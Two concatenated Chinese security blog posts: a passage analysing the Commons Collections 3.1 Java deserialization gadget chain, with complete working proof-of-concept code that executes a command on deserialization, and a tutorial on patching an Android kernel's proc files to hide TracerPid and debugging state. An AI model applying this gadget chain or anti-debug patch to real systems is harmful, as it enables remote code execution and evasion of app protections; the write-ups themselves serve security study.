//invoke函数的第一个参数是Runtime类，我们需要在Runtime类中去执行getMethod，获取getRuntime参数
对照着InvokerTransformer类转变为transformers格式
Class cls = input.getClass();//cls = java.lang.Class
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //getMethod方法
return method.invoke(input, this.iArgs); //在Runtime中找getRuntime方法，并返回这个方法
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
//还需要填充 调用getRuntime得到Runtime实例,
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
还差执行获取到的getRuntime，下一个input是上一个执行接口，继续对照
//input=getRuntime这个方法
Class cls = input.getClass();//cls = java.lang.Method（getRuntime方法是method类）
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //在method类中找到invoke方法，method=invoke方法
return method.invoke(input, this.iArgs); //调用invoke方法，input=getRuntime这个方法，传入自定义的参数
以上最后一步有点复杂，method就是invoke方法，相当于使用invoke调用了invoke函数。
首先this.iMethodName, this.iParamTypes是根据invoke接口而定的：
public Object invoke(Object obj, Object... args)
//this.iMethodName="invoke"
//this.iParamTypes=new Class[] {Object.class, Object[].class }
//外面class、Object封装是InvokerTransformer类的构造函数要求
按照invoke中的input才是它要调用的环境的准则。
`invoke方法.invoke(input, this.iArgs)`实际上等于`input.invoke(this.iArgs)`，
而input=getRuntime方法，那么只要填入`this.iArgs`就好了
又由于getRuntime是个静态函数，不用太纠结输入obj，写作null。getRuntime方法不需要参数。
`this.iArgs=null,new Object[0]`
那么整合就如下：
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
以上代码其实就是等同于
`((Runtime)Runtime.class.getMethod("getMethod",null).invoke(null,null)).exec("calc.exe");`
我们笼统的来理解，实际就是如下（这里偷一张[orleven](http://blog.orleven.com/2017/11/11/java-deserialize/)的图）：
总体上来说：利用了反射机制调用反射机制的函数，绕过了开头cls只能为java.lang.Class的限制，根据具体环境input环环相扣，特么竟然恰好就通了
....非常的微妙....
### 第三步 TransformedMap
那么我们在第二步通过ConstantTransformer、ChainedTransformer就完成了 **payload在客户端自定义**
这一目标，我们看一下目前的攻击流程
public class commons_collections_3_1 {
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//payload序列化写入文件，模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(transformerChain);
//2.服务端读取文件，反序列化，模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式，再调用transform函数
Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
transformerChain_now.transform(null);
}
}
完成命令执行服务端执行如下操作：
1. 服务端反序列化我们的输入成 **ChainedTransformer** 类型
2. 调用这个输入的transform()函数
转变的类型是一个数据转化链数据格式，很明显服务端不可能存在这种代码，利用价值不足，接下来我们需要继续延长这个漏洞链。
#### 封装成Map
由于我们得到的是ChainedTransformer，一个转换链， **TransformedMap**
类提供将map和转换链绑定的构造函数，只需要添加数据至map中就会自动调用这个转换链执行payload。
这样我们就可以把触发条件从显性的调用 **转换链的transform函数** 延伸到 **修改map的值** 。很明显后者是一个常规操作，极有可能被触发。
`TransformedMap`
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
try一下：
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//payload序列化写入文件，模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(outerMap);
//2.服务端接受反序列化，出发漏洞
//读取文件，反序列化，模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成Map格式，再调用transform函数
Map outerMap_now = (Map)fin.readObject();
//2.1可以直接map添加新值，触发漏洞
//outerMap_now.put("123", "123");
//2.2也可以获取map键值对，修改value，value为value，foobar,触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
亲测有效
### 第四步 jdk1.7 AnnotationInvocationHandler的readObject复写点
上面的漏洞触发条件仍然不够完美，需要服务端把我们传入的序列化内容反序列化为map，并对值进行修改。
之前也说过完美的反序列化漏洞还需要一个readobject复写点，使只要服务端执行了readObject函数就等于命令执行。
在jdk1.7中就存在一个完美的readobject复写点的类`sun.reflect.annotation.AnnotationInvocationHandler`。
我們先看他的构造函数
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
this.type = var1;//传入的var1到this.type
this.memberValues = var2;//我们的map传入this.memberValues
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
readobject复写函数：
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
//默认反序列化
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();//
Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();//遍历map迭代器
String var6 = (String)var5.getKey();//获取key的名称
Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类？这边具体var3是什么个含义不太懂，但是肯定var7、8两者不一样
if (var7 != null) {
Object var8 = var5.getValue();//获取map的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
//两者类型不一致，给var5赋值！！具体赋值什么已经不关键了！只要赋值了就代表执行命令成功
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
虽然相对于这个类具体做什么，实在是没有精力去搞清楚了，但是它最终对于我们传入构造函数的map进行遍历赋值。
这样就弥补了我们之前反序列化需要服务端存在一些条件的不足，形成完美反序列化攻击。
最终模拟攻击代码
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class, outerMap);
//payload序列化写入文件，模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//2.服务端读取文件，反序列化，模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();
}
成功
至此，我们在客户端构造了payload发送至服务端，
只要服务端
1. 对我们的输入进行反序列化
2. jdk版本为1.7
就可以直接完成命令执行，完美！
#### 2020/07/09更新
完美个屁，在先知有同学提出了问题：
> 请问为什么`innerMap.put("value", "value");`我换成`innerMap.put("key",
> "value");`就无法触发，key换成其他值都无法触发，只有“value”可以。
这其实就是当初一个人茫然的学学学，实在坚持不下去，疏忽导致的坑。那么我们回过头来看这个问题。
在我们封装成Map时。就默认使用了`value:value`作为键值对，在那个时候我们把这里改成任意的键值对都是可以成功触发的。
但是一旦我们引入了AnnotationInvocationHandler作为readobject复写点，就再去改动这个值就会执行命令失败。问题肯定处理在AnnotaionInvocationHandler这个过程中。
来DEBUG看当取值`key:value`时，在什么地方出了问题，找到是反序列化时的`sun.reflect.annotation.AnnotationInvocationHandler#readObject`,这边var7，会为空，从而不进入我们的setValue触发命令执行。
来看为什么，重新分析之前囫囵吞枣地AnnotationInvocationHandler的readobject：
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
//默认反序列化,这里是前半部分代码
var1.defaultReadObject();
AnnotationType var2 = null;
try {
//这里的this.type是我们在实例化的时候传入的jdk自带的Target.class
//之前的poc语句是这样Object instance = ctor.newInstance(Target.class, outerMap);
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
`AnnotationType.getInstance(this.type)`是一个关键的有关注解的操作。所以我们需要先来了解一下java的注解。
##### 注解
`Target.class`其实是java提供的的 **元注解**
（因为是注解所以之后写成特有的形式`@Target`）。除此之外还有`@Retention`、`@Documented`、`@Inherited`，所谓元注解就是标记其他注解的注解。
* @Target 用来约束注解可以应用的地方（如方法、类或字段）
* @Retention用来约束注解的生命周期，分别有三个值，源码级别（source），类文件级别（class）或者运行时级别（runtime)
* @Documented 被修饰的注解会生成到javadoc中
* @Inherited 可以让注解被继承，但这并不是真的继承，只是通过使用@Inherited，可以让子类Class对象使用getAnnotations()获取父类被@Inherited修饰的注解
* 除此之外注解还可以有注解元素(等同于赋值)。
举个自定义注解的例子：
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface DBTable {
String name() default "";//default是默认值
}
它会被这样使用：
@DBTable(name = "MEMBER")
public class Member {
}
由于赋值的时候总是用 `注解元素 = 值`的形式太麻烦了，出现了 `value`
这个偷懒的语法糖。（这也是为什么之前的`@Target(ElementType.TYPE)`不是`注解元素 = 值`的形式）
如果注解元素为 **value** 时，就不需要用`注解元素 = 值`的形式，而是直接写入值就可以赋值为value。
除此之外java还有一些内置注解：
* @Override：用于标明此方法覆盖了父类的方法
* @Deprecated：用于标明已经过时的方法或类
* @SuppressWarnnings:用于有选择的关闭编译器对类、方法、成员变量、变量初始化的警告
回过头来看看`java.lang.annotation.Target`：
@Documented//会被写入javadoc文档
@Retention(RetentionPolicy.RUNTIME)//生命周期时运行时
@Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
public @interface Target {
ElementType[] value();//注解元素，一个特定的value语法糖，可以省点力气
}
##### 回来
初步了解了java的注解之后，我们回来看`AnnotationType.getInstance(this.type)`对@Target这个注解的处理，不过多的去纠结内部细节，getInstance会获取到@Target的基本信息，包括注解元素，注解元素的默认值，生命周期，是否继承等等。
再来看接下来的var3，var3就是一个注解元素的键值对`value这个注解元素，可以取值Ljava.lang.annotation.ElementType类型的值`
//后半部分代码
Map var3 = var2.memberTypes();//{value：ElementType的键值对}
Iterator var4 = this.memberValues.entrySet().iterator();
//获取我们构造map的迭代器，无法命令执行的键值对是{key:value}
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();//获取到{key:value}
String var6 = (String)var5.getKey();//获取键值对的键名key
Class var7 = (Class)var3.get(var6);
//从@Target的注解元素键值对{value：ElementType的键值对}中去寻找键名为key的值
//于是var7为空
if (var7 != null) {
//触发命令执行处
}
}
}
}
}
这样我们就搞懂了为什么赋值map{key：value}就不行，因为通过AnnotationInvocationHandler#readObject，我们需要保证：
* 我们poc中提供的`this.type`的注解要存在注解元素名（为了满足var3不为空）。
* 我们poc中提供的`this.memberValues`中存在的一个键值对的键名与`this.type`的注解要存在注解元素名相等。（为了满足var7!=null）
所以我们选取了@Target注解作为`this.type`，我们就必须向`this.memberValues`写入一个`value：xxx`的键值对
这里的`this.type`是可以变动的，比如换成另一个元注释`Retention.class`（虽然他的注解元素名也是value），甚至可以自定义，但是对方服务器上没有这个注释，打别人是没有用的，所以还是选用大家都有的元注释。
同时我们写入的`this.memberValues`的键名不能改变，但是值可以改变。
比如：
现在完美
#### jdk1.8为什么不行呢
其实上面的poc在Java 7的低版本（只测试了7u80，没有具体版本号）、8u71之前都是可以使用的，在Java 8u71之后代码发生了变动。
那么为啥不行呢,看一下jdk8里面的`sun.reflect.annotation.AnnotationInvocationHandler`
readObject复写点：
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
//很伤心的，没有了map赋值语句
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
//省略不重要...
}
因为这个函数出现了变动，不再有针对我们构造的map的赋值语句，所以触发不了漏洞。
而是改成了新建一个LinkedHashMap，把值转进这个LinkedHashMap里面。
## 写在后面
至此我们就完成common-collection 3.1版本 jdk1.7版本下的POC复现和利用链分析。
当然还有common-collection 不同组件版本，不同环境下poc和利用链均有不同，在ysoserial下就有7，8中利用方式。
还可以通过rmi模式进行利用等。
但是由于这篇博客写的太长了，思路也一直断断续续，其他内容之后再陆续学习分析吧~
## 参考资料
参考资料大多从先知中获取，这里就列举一部分。
<https://xz.aliyun.com/t/4711#toc-3>
<http://blog.orleven.com/2017/11/11/java-deserialize/>
[玩转ysoserial-CommonsCollection的七种利用方式分析](https://mp.weixin.qq.com/s/gZbcdS0TbAetZwVMyjkGWQ)
Java安全漫谈 - 10.反序列化篇(4) | 社区文章 |
# 绕过TracePid反调试二
第一篇文章是直接修改二进制文件[尝试绕过TracerPID反调试](https://www.52pojie.cn/thread-917096-1-1.html)
## 前言
接受了评论的建议, 但是因为之前手机还没好加上没试过直接修改kernel的源码, 所以花了很多时间(都是环境惹的祸)。还有因为这个接触了shell
code, 真的是一言难尽。事先说明, 下面的环境准备都是在国外的服务器上直接运行的, 所以你实际上要用的命令可能跟我的有点不同(如果可以直接用代理之类的,
应该没多大影响)。
## 开发环境
Ubuntu 18.10(建议用Ubuntu 16.04, 至少2MB内存)
Android 6.0.1
Nexus 5
## Ubuntu环境搭建
### Java环境准备
下文Java环境搭建都是基于Ubuntu 18.10的, 如果你尝试过不能在自己的Ubuntu环境下使用, 可以到google上找找看,
应该能找到你想要的。如果不是为了之后Android源码调试, 只是为了修改kernel文件可以先不搭建Java环境。
#### 下载JDK
1. 为了下载最新的JDK, 可以现在Ubuntu的命令行里面先输入`javac`, 会显示下面的内容, 按照它提供的命令即可下载最新的JDK。
2. 很不快乐的是Java 6和Java 7需要有Oracle的账号, 所以只要去Orcle注册一个账号, 就可以下载[Java 7](https://www.oracle.com/technetwork/java/javase/downloads/java-archive-downloads-javase7-521261.html)和[Java 6](https://www.oracle.com/technetwork/java/javase/downloads/java-archive-downloads-javase6-419409.html)了(Java 7是压缩包, Java 6是一个二进制文件)。 **文章末尾附有两个jdk文件的链接** 。
#### 安装JDK
因为先安装了Java 8在路径`/usr/lib/jvm`目录下,
所以将文件文件`jdk-6u45-linux-x64.bin`和`jdk-7u80-linux-x64.tar.gz`都用mv命令移到上述目录下。
root@vultr:~/[jdk 6存放的位置]# mv jdk-6u45-linux-x64.bin /usr/lib/jvm/
root@vultr:~/[jdk 7存放的位置]# mv jdk-7u80-linux-x64.tar.gz /usr/lib/jvm/
解压jdk 6, 进入到`/usr/lib/jvm`目录下, 先给该文件读写的权限, 之后运行该二进制文件就会在当前目录下生成一个新的文件夹。
root@vultr:~/[jdk 7存放的位置]# cd /usr/lib/jvm
root@vultr:/usr/lib/jvm# chmod +x jdk-6u45-linux-x64.bin
root@vultr:/usr/lib/jvm# ./jdk-6u45-linux-x64.bin
解压jdk 7
root@vultr:/usr/lib/jvm# tar -zxvf jdk-7u80-linux-x64.tar.gz
为了我们能够在Ubuntu里面自由自在地切换Java版本, 我们可以先写个脚本将jdk-6和jdk-7添加到候选项中。先输入命令`vim
alternativeJava.sh`, 并将下面的内容直接复制到alternativsjava.sh文件里。
#!/bin/sh
JAVAHOME=$1
if [ -d $JAVAHOME ];then
sudo update-alternatives --install /usr/bin/java java $JAVAHOME/bin/java 300
sudo update-alternatives --install /usr/bin/javac javac $JAVAHOME/bin/javac 300
sudo update-alternatives --install /usr/bin/jar jar $JAVAHOME/bin/jar 300
sudo update-alternatives --install /usr/bin/javah javah $JAVAHOME/bin/javah 300
sudo update-alternatives --install /usr/bin/javap javap $JAVAHOME/bin/javap 300
else
echo "Wrong input"
exit 0
fi
用命令`chmod+x alternativsjava.sh`, 给脚本添加权限, 否则脚本会不能运行。输入命令`./alternativsjava.sh
/usr/lib/jvm/jdk1.7.0_80`之后(脚本后面添加的路径是你jdk解压后的文件路径),用`sudo update-alternatives
--config java`(切换java版本命令)进行检验。
### 准备Android源码运行环境
以下内容仅编译内核, 并假设你还没有下载整个 AOSP源。因为我要编译的内核版本过旧, 所以用的都是旧的教程, 如果有要编译新的内核的要求的话,
可以看看这两篇文章, [Compiling an Android kernel with
Clang](https://github.com/nathanchance/android-kernel-clang#how-to-compile-the-kernel-with-clang-standalone)和[编译内核](https://source.android.google.cn/setup/build/building-kernels)。
#### 安装所需的软件包
在Ubuntu 14.04中如果下载git出问题, 可以看看这篇文章[How To Install Git on Ubuntu
14.04](https://www.digitalocean.com/community/tutorials/how-to-install-git-on-ubuntu-14-04)。
输入下述命令。
$ sudo apt-get install git-core gnupg flex bison gperf build-essential zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z-dev libgl1-mesa-dev libxml2-utils xsltproc unzip
#### 下载源码
在下载之前先获取手机的内核版本, 从下面的信息可知道手机内核的`git short commit id`为`cf10b7e`。
因为内核版本比较旧, 所以按照[旧版的官方内核](https://source.android.com/setup/build/building-kernels-deprecated)编译手册来,
而不是按照[新版的内核编译手册](https://source.android.com/setup/build/building-kernels)来。如果内核比较新的, 还是直接用repo吧！接下来可以从官方手册上看到, 我需要的kernel源代码位于哪个branch,
然后从github上clone下来。
输入命令, 先将msm这个项目clone下来。(这一步花的时间可能会有一点点长)
`$ git clone https://android.googlesource.com/kernel/msm.git`
因为我用的是国外的服务器, 所以可以直接从google服务器下下来。如果是自己搭建的机器且觉得开代理太麻烦的话, 可以换成下面的命令。
`$ git clone https://aosp.tuna.tsinghua.edu.cn/kernel/msm.git`
将msm从github上clone下来之后, 会发现里面是个空的, 只有一个`.git`仓库。进入`msm`目录下, 用`git branch
-a`查看分支。(我的文件路径跟图片下的不符, 实际上应该是`/AndroidKernel/msm`)
现在就要用到我们之前获取的short commit id(显示的是实际的commit id的前7位)了, 直接检出我们需要的代码的分支。
`git branch -r --contains <your short commit id>`
从上面的图片我们可以知道, 本地实际上只有`master`这一个分支, 这时候我们需要做的事就是在远程分支的基础上再分一个本地分支。
$ git checkout -b android-msm-hammerhead-3.4-marshmallow-mr3 origin/android-msm-hammerhead-3.4-marshmallow-mr3
#### 安装GCC交叉编译器
之前不是很能理解为什么官方网站没说要下载这个东西, 之后在[How to Build a Custom Android
Kernel](https://appuals.com/how-to-build-a-custom-android-kernel/)这篇文章里面看到。因为一般我们需要编译的kernel源代码都是基于arm架构编译运行的,
所以直接放在我们64位的Ubuntu里面是不合适的。也可以跟官方一样直接通过USB连接手机直接进行调试。
在`~/AndroidKernel`执行如下命令(下载现在Linux环境下的arm编译接口)。这个编译接口尽量别尝试arm-eabi-4.8以上的,
因为旧的内核和交叉编译器不匹配会出现很多麻烦, 例如现在Google已经弃用了gcc, 在最新的交叉编译器里面只能用clang,
即使`make`操作加了参数`CC=clang`也会在出现很多很麻烦的报错。所以我这里为了匹配, 用的是旧的交叉编译器。
$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6
在这里尝试了一下清华的AOSP源, 也是可以直接用的。参考贴出来的google的url,
直接将里面的`https://android.googlesource.com/`全部改成`https://aosp.tuna.tsinghua.edu.cn/`即可。详情可参考[Android
镜像使用帮助](https://mirror.tuna.tsinghua.edu.cn/help/AOSP/)。
$ git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6
#### 添加环境变量
添加环境变量总共有两种方法, 一种是短期的, 开机重启之后就会失效, 一种是长期的。
第一种：在`~/AndroidKernel`目录下执行以下命令。
$ export PATH=~/AndroidKernel/arm-eabi-4.6/bin:$PATH
第二种：在`~/.bashrc`中添加环境变量
`$ vim ~/.bashrc`
之后在文件末尾添加`export PATH=<交叉编译API存放的文件根目录>/arm-linux-androideabi-4.9/bin:$PATH`
为了让这个配置立马生效, 我们可以用下面的命令
`$ source ~/.bashrc`
## 修改源码
### 修改前准备+修改源码
如果觉得不想知道为什么要修改`base.c`和`array.c`文件, 可以跳过现在这一段,
直接从下一段“修改`msm/fs/proc/base.c`文件”开始看就好了。
我将`msm/fs/proc`目录下的文件都下载到本地(都是先修改完成的), 安装了[Source
Insight](https://bbs.pediy.com/thread-215669.htm)来分析源码。[proc文件](http://man7.org/linux/man-pages/man5/proc.5.html), 是以文件系统的方式为访问系统内核的操作提供接口, 动态从系统内核中读出所需信息的。这也就说明,
我们想要修改的TracePid也是通过这个文件中获取到的。
我们想获取进程信息的时候, 一般会输出下述内容。
>cat /proc/self/status
Name: cat
State: R (running)
Tgid: 5452
Pid: 5452
PPid: 743
TracerPid: 0 (2.4)
Uid: 501 501 501 501
Gid: 100 100 100 100
FDSize: 256
Groups: 100 14 16
VmPeak: 5004 kB
VmSize: 5004 kB
VmLck: 0 kB
VmHWM: 476 kB
VmRSS: 476 kB
VmData: 156 kB
VmStk: 88 kB
VmExe: 68 kB
VmLib: 1412 kB
VmPTE: 20 kb
VmSwap: 0 kB
Threads: 1
SigQ: 0/28578
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000000
SigCgt: 0000000000000000
CapInh: 00000000fffffeff
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: ffffffffffffffff
Seccomp: 0
voluntary_ctxt_switches: 0
nonvoluntary_ctxt_switches: 1
在上述Status信息中我们需要关注的两个部分, 一个是`State`字段,
一个是`TracePid`字段。因为这两个字段都可反映出进程是否被监测。详情可参考[ proc.txt
](https://android.googlesource.com/kernel/msm/+/android-wear-5.1.1_r0.6/Documentation/filesystems/proc.txt?autodive=0%2F%2F%2F)的`line
209`和`line 215`。
在[proc手册](http://man7.org/linux/man-pages/man5/proc.5.html)查找`/proc/[pid]/stat`,
我们可以知道Status是在`fs/proc/array.c`定义的, 我们就先从`array.c`入手。
先打开查看调用关系的窗口, `View->Panels->Relation Windows`。
在`array.c`文件中搜索`status`, 找到函数`proc_pid_status`, 之后查看该函数调用与被调用的信息。
在`Relation Window`中双击`get_task_state`函数, 就找到了我们想找的`TracePid`。这个就是我们要修改的第一处了。
TracePid 通常都是对父进程 pid 进行检测, 这里将 ppid 改为 0, 这样不管是否为调试状态, TracePid
都无法检测出。修改的结果如下
180 seq_printf(m,
181 "State:\t%s\n"
182 "Tgid:\t%d\n"
183 "Pid:\t%d\n"
184 "PPid:\t%d\n"
185 "TracerPid:\t%d\n"
186 "Uid:\t%d\t%d\t%d\t%d\n"
187 "Gid:\t%d\t%d\t%d\t%d\n",
188 get_task_state(p),
189 task_tgid_nr_ns(p, ns),
190 pid_nr_ns(pid, ns),
//修改部分
191 ppid, 0,
//修改结束
192 cred->uid, cred->euid, cred->suid, cred->fsuid,
193 cred->gid, cred->egid, cred->sgid, cred->fsgid);
上面的代码段中的`get_task_state()`函数引起了我的注意, 这个函数应该是获取state的函数。用鼠标选中该函数之后,
右手边的`Relation Window`会显示该函数所在的位置, 在该窗口双击之后跳转。
在上图中, 看到了明显用来存放状态的数组`task_state_array`, 选中该数组之后, 同样的在`Relation Window`中双击跳转。
将原来状态表中的`T`和`t`都修改为`S`这样就避免了该状态位反映出被监测的状态。
R Running
S Sleeping in an interruptible wait
D Waiting in uninterruptible disk sleep
Z Zombie
T Stopped (on a signal) or (before Linux 2.6.33)
trace stopped
t Tracing stop (Linux 2.6.33 onward)
W Paging (only before Linux 2.6.0)
X Dead (from Linux 2.6.0 onward
x Dead (Linux 2.6.33 to 3.13 only)
K Wakekill (Linux 2.6.33 to 3.13 only)
W Waking (Linux 2.6.33 to 3.13 only)
P Parked (Linux 3.9 to 3.13 only)
`array.c`我们已经修改完毕了,
这时候我们就要修改其他部分了。在[导入Project](https://blog.csdn.net/MyLinChi/article/details/78459373)之后,
我们在整个proc文件中搜索关键词`trace`。先按照下图打开`Project Search Bar`, 并在其中输入`trace`。
我们会发现搜索的结果都是在`base.c`文件中(下图出现的第一个包含`trace`关键词的函数是我已经修改过的)。
在检查完有`trace`关键词的代码没发现有用的, 就在`base.c`文件中搜索关键词`status`。
`Ctrl+F`输入关键词之后没找到, 就通过下图的向下搜索的功能一个个定位, 前面的部分都没找到自己想要找的函数段。
直到找到了关键的部分, 选中函数`proc_pid_status`, 在右边`Relation Window`中继续找我们想要的关键函数。
但是很遗憾,
在`proc_pid_status`函数中跟了很多相关的函数仍然没找到我们想要的。那我们就回到我们最开始的地方。这部分最上面的标识是`pid_entry`。顺着这个部分往下看,
我们就找到了`proc_tid_stat`函数, 选中该函数之后我们可以找到`do_task_stat`函数。
接下来, 我们就好好看看这个函数里面有什么。在右边的`Relation Window`中关注到一个有`state`关键词的函数,
双击之后跳转到该函数调用的位置。
定位到上图那一行之后, 分别跟了`state`关键词和`get_task_state`函数, 都没有发现什么(`base.c`是进程运行之前要做的准备工作,
从`get_task_state`函数可直接回到之前修改的`array.c`文件。但因为已修改完成, 所以就留在`base.c`文件中没有继续定位了)。
现在看到这段函数之中大部分都用到了变量`task`, 所以只好将`task`作为关键词用笨办法来一个一个定位。最后找到了`wchan`,
真的眼泪都掉下来。(因为事先知道要改这个部分)
看了[Android反调试技术整理与实践](https://gtoad.github.io/2017/06/25/Android-Anti-Debug/)这篇文章才知道为什么要修改带有`wchan`关键词的函数。因为`/proc/pid/wchan` 和
`/proc/pid/task/pid/wchan`在调试状态下，里面内容为`ptrace_stop`,
非调试的状态下为ep_poll。所以也可能会泄露正在被调试的信息, 所以我们直接在Project中查找`wchan`关键词,
就定位到函数`proc_pid_wchan`
定位结束之后我们进行如下修改, 到这里我们的修改就彻底结束了。
### 修改`msm/fs/proc/base.c`文件
在Ubuntu中编辑文件`vim msm/fs/proc/base.c`, 定位函数`proc_pid_wchan`(大概在268行左右)
267 static int proc_pid_wchan(struct task_struct *task, char *buffer)
268 {
269 unsigned long wchan;
270 char symname[KSYM_NAME_LEN];
271
272 wchan = get_wchan(task);
273
274 if (lookup_symbol_name(wchan, symname) < 0)
275 if (!ptrace_may_access(task, PTRACE_MODE_READ))
276 return 0;
277 else
278 return sprintf(buffer, "%lu", wchan);
279 else
280 return sprintf(buffer, "%s", symname);
281 }
改成下面的内容
static int proc_pid_wchan(struct task_struct *task, char *buffer)
{
unsigned long wchan;
char symname[KSYM_NAME_LEN];
wchan = get_wchan(task);
if (lookup_symbol_name(wchan, symname) < 0)
if (!ptrace_may_access(task, PTRACE_MODE_READ))
return 0;
else
return sprintf(buffer, "%lu", wchan);
else
{ // 更改的内容
if(strstr(symname,"trace"))
return sprintf(buffer, "%s", "sys_epoll_wait");
return sprintf(buffer, "%s", symname);
}
}
